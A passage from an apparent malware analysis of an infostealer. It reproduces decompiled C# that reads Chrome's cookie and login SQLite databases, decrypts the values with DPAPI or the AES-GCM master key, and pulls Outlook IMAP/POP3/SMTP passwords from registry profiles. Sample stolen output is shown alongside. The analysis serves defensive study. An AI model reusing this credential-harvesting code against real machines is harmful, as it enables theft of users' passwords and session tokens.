which matches what the sample is retrieving via sqliteHandler.GetValue. Afterwards it checks the version of Chrome. Apparently after version 10, they changed the way they are securing credentials, before they were using the Windows DPAPI interface 9, and later on in version 10 they moved to AES-GCM. All this is detailed in the same article in the “Evolution of Chrome Password Protection” section.

All the values are added to the object COVID19.StoragePW, in a format like:

1
-------- / VIP Recovery \ --------
2
Recovered From: Google Chrome
3
Host: https://mail.example.com
4
USR: smisma@example.com
5
PSWD: Password!
6
---------------------------------
7

8
-------- / VIP Recovery \ --------
9
Recovered From: Google Chrome
10
Host: https://dashboard.cloudservice.io
11
USR: admin@company.local
12
PSWD: Password1234.
13
---------------------------------

Given that most of the other browsers that are targeted by the stealer are Chromium-based, the extraction methodology is basically the same.

Cookies_Chrome

The cookies extraction is very similar to the previous method, since Chrome stores those data in a similar manner.

1
public static void Cookies_Chrome()
2
{
3
    string text = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Google\\Chrome\\User Data\\Default\\Network\\Cookies";
4
    checked
5
    {
6
        try
7
        {
8
            bool flag = File.Exists(text);
9
            if (flag)
10
            {
11
                SQLiteHandler sqliteHandler = new SQLiteHandler(text);
12
                sqliteHandler.ReadTable("cookies");
13
                int num = sqliteHandler.GetRowCount() - 1;
14
                for (int i = 0; i <= num; i++)
15
                {
16
                    string value = sqliteHandler.GetValue(i, "host_key");
17
                    string value2 = sqliteHandler.GetValue(i, "name");
18
                    string value3 = sqliteHandler.GetValue(i, "path");
19
                    string text2 = sqliteHandler.GetValue(i, "encrypted_value");
20
                    ulong num2 = Convert.ToUInt64(sqliteHandler.GetValue(i, "expires_utc"));
21
                    bool flag2 = VIPSeassion.isV10(text2);
22
                    if (flag2)
23
                    {
24
                        byte[] masterKey = VIPSeassion.GetMasterKey(Conversions.ToString(VIPSeassion.LocalState("Google\\Chrome")));
25
                        bool flag3 = masterKey != null;
26
                        if (flag3)
27
                        {
28
                            text2 = VIPSeassion.DecryptWithKey(Encoding.Default.GetBytes(text2), masterKey);
29
                        }
30
                    }
31
                    else
32
                    {
33
                        text2 = VIPSeassion.Decrypttttt(Encoding.Default.GetBytes(text2));
34
                    }
35
                    string text3 = string.Concat(new string[]
36
                    {
37
                        "\r\n-------- / VIP Recovery \\ --------\r\nRecovered From: Chrome\r\nHost: ",
38
                        value,
39
                        "\r\nName: ",
40
                        value2,
41
                        "\r\nPath: ",
42
                        value3,
43
                        "\r\nExpiry: ",
44
                        Conversions.ToString(num2),
45
                        "\r\nValue: ",
46
                        text2,
47
                        "\r\n---------------------------------\r\n "
48
                    });
49
                    COVID19.allCookies += text3;
50
                }
51
            }
52
        }
53
        catch (Exception ex)
54
        {
55
        }
56
    }
57
}

This time the Default\Network\Cookies directory is used and the cookies SQLite table. The same version/encryption check is performed and the cookie values are extracted. An example of what could be saved in COVID19.allCookies is:

1
-------- / VIP Recovery \ --------
2
Recovered From: Chrome
3
Host: .amazon.co.uk
4
Name: session-id
5
Path: /
6
Expiry: 13360000000000000
7
Value: 262-9812345-7788990
8
---------------------------------
9

10
-------- / VIP Recovery \ --------
11
Recovered From: Chrome
12
Host: dashboard.examplecloud.io
13
Name: auth_token
14
Path: /
15
Expiry: 13349000000000000
16
Value: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOiIxMjM0NTYifQ.s8df7s8df7sdf87sdf87sdf
17
---------------------------------

Browser Data Stealing Summary

The pattern for all the other data stolen from the browser is the same: a query on the related table, extraction and decryption of the data and saving them in a variable.

Below is a table showing the method, which table and data are retrieved:

Mail

There are two methods that target emails in VIPSeassion (COVIDSTOutlook and COVIDSTFoxmail) and two in VIPF_Based (COVIDSTThunderbird and COVIDSTPostBox).

The focus here is on Outlook, mostly due to the higher popularity in corporate settings. The whole method is very simple, it starts by creating an empty list of ReceoveredApplicationAccount which will be covered shortly. The list created is called list and gets populated by the VIPSeassion.GetOutlookPasswords method. Then, for each of the accounts collected it creates a string and saves it to COVID19.StoragePW.

7632
public static void COVIDSTOutlook()
7633
{
7634
    List<VIPSeassion.RecoveredApplicationAccount> list = new List<VIPSeassion.RecoveredApplicationAccount>();
7635
    list = VIPSeassion.GetOutlookPasswords();
7636
    bool flag = list.Count > 0;
7637
    if (flag)
7638
    {
7639
        try
7640
        {
7641
            foreach (VIPSeassion.RecoveredApplicationAccount recoveredApplicationAccount in list)
7642
            {
7643
                string text = string.Concat(new string[] { "\r\n-------- / VIP Recovery \\ --------\r\nRecovered From: Outlook\r\nURL: ", recoveredApplicationAccount.URL, "\r\nE-Mail: ", recoveredApplicationAccount.UserName, "\r\nPSWD: ", recoveredApplicationAccount.Password, "\r\n---------------------------------\r\n " });
7644
                COVID19.StoragePW += text;
7645
            }
7646
        }
7647
        finally
7648
        {
7649
            List<VIPSeassion.RecoveredApplicationAccount>.Enumerator enumerator;
7650
            ((IDisposable)enumerator).Dispose();
7651
        }
7652
    }
7653
}

Clicking on RecoveredApplicationAccount takes us to line 13015. The code presented is:

13015
internal sealed class RecoveredApplicationAccount
13016
{
13017
    internal string UserName
13018
    {
13019
        get { return this._username; }
13020
        set { this._username = value; }
13021
    }
13022
    internal string Password
13023
    {
13024
        get { return this._password; }
13025
        set { this._password = value; }
13026
    }
13027
    internal string URL
13028
    {
13029
        get { return this._URL; }
13030
        set { this._URL = value; }
13031
    }
13032
    internal string appName
13033
    {
13034
        get { return this._appName; }
13035
        set { this._appName = value; }
13036
    }
13037
    private string _appName;
13038
    private string _username;
13039
    private string _password;
13040
    private string _URL;
13041
}

It is a very simple object representation of an account, with properties like username, password, URL and application name that can be reused on different applications. For example, if Discord is targeted by the sample, this class can be reused to collect all the information and be sent in the same way as Outlook. The get and set are a standard construct for languages like Java and C# to give the user of the class a method for setting or getting the value of the specific field.

Each application (Outlook, Discord, etc) should just fill in that information and save the new object somewhere where the sample can process it and eventually send it to the threat actor.

Looking at how GetOutlookPasswords is going to retrieve the information, it can be seen that the return value is going to be, as expected, a list of RecoverApplicationAccount.

7656
internal static List<VIPSeassion.RecoveredApplicationAccount> GetOutlookPasswords()
7657
{
7658
    List<VIPSeassion.RecoveredApplicationAccount> list = new List<VIPSeassion.RecoveredApplicationAccount>();
7659
    string[] array = new string[] { "IMAP Password", "POP3 Password", "HTTP Password", "SMTP Password" };
7660
    string text = null;
7661
    RegistryKey[] array2 = new RegistryKey[]
7662
    {
7663
        Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676"),
7664
        Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676"),
7665
        Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows Messaging Subsystem\\Profiles\\9375CFF0413111d3B88A00104B2A6676"),
7666
        Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676")
7667
    };
7668
    foreach (RegistryKey registryKey in array2)
7669
    {
7670
        bool flag = registryKey != null;
7671
        if (flag)
7672
        {
7673
            foreach (string text2 in registryKey.GetSubKeyNames())
7674
            {
7675
                using (RegistryKey registryKey2 = registryKey.OpenSubKey(text2))
7676
                {
7677
                    UTF8Encoding utf8Encoding = new UTF8Encoding();
7678
                    bool flag2 = (registryKey2.GetValue("Email") != null) & ((registryKey2.GetValue("IMAP Password") != null) | (registryKey2.GetValue("POP3 Password") != null) | (registryKey2.GetValue("HTTP Password") != null) | (registryKey2.GetValue("SMTP Password") != null));
7679
                    if (flag2)
7680
                    {
7681
                        foreach (string text3 in array)
7682
                        {
7683
                            bool flag3 = registryKey2.GetValue(text3) != null;
7684
                            if (flag3)
7685
                            {
7686
                                byte[] array5 = (byte[])registryKey2.GetValue(text3);
7687
                                text = VIPSeassion.decryptOutlookPassword(array5);
7688
                            }
7689
                        }
7690
                        object obj = RuntimeHelpers.GetObjectValue(registryKey2.GetValue("Email"));
7691
                        byte[] array8;
7692
                        try
7693
                        {
7694
                            object[] array6;
7695
                            bool[] array7;
7696
                            object obj2 = NewLateBinding.LateGet(utf8Encoding, null, "GetBytes", array6 = new object[] { obj }, null, null, array7 = new bool[] { true });
7697
                            if (array7[0])
7698
                            {
7699
                                obj = RuntimeHelpers.GetObjectValue(array6[0]);
7700
                            }
7701
                            array8 = (byte[])obj2;
7702
                        }
7703
                        catch (Exception ex)
7704
                        {
7705
                            array8 = (byte[])obj;
7706
                        }
7707
                        object obj3 = RuntimeHelpers.GetObjectValue(registryKey2.GetValue("SMTP Server"));
7708
                        bool flag4 = obj3 != null;
7709
                        byte[] array9;
7710
                        if (flag4)
7711
                        {
7712
                            try
7713
                            {
7714
                                object[] array6;
7715
                                bool[] array7;
7716
                                object obj4 = NewLateBinding.LateGet(utf8Encoding, null, "GetBytes", array6 = new object[] { obj3 }, null, null, array7 = new bool[] { true });
7717
                                if (array7[0])
7718
                                {
7719
                                    obj3 = RuntimeHelpers.GetObjectValue(array6[0]);
7720
                                }
7721
                                array9 = (byte[])obj4;
7722
                            }
7723
                            catch (Exception ex2)
7724
                            {
7725
                                array9 = (byte[])obj3;
7726
                            }
7727
                        }
7728
                        else
7729
                        {
7730
                            array9 = utf8Encoding.GetBytes("Nothing");
7731
                        }
7732
                        list.Add(new VIPSeassion.RecoveredApplicationAccount
7733
                        {
7734
                            URL = utf8Encoding.GetString(array9).Replace("\0", ""),
7735
                            UserName = utf8Encoding.GetString(array8).ToString().Replace(Conversions.ToString(Convert.ToChar(0)), ""),
7736
                            Password = text.Replace(Conversions.ToString(Convert.ToChar(0)), ""),
7737
                            appName = "Outlook"
7738
                        });
7739
                    }
7740
                }
7741
            }
7742
        }
7743
    }
7744
    return new List<VIPSeassion.RecoveredApplicationAccount>(list);
7745
}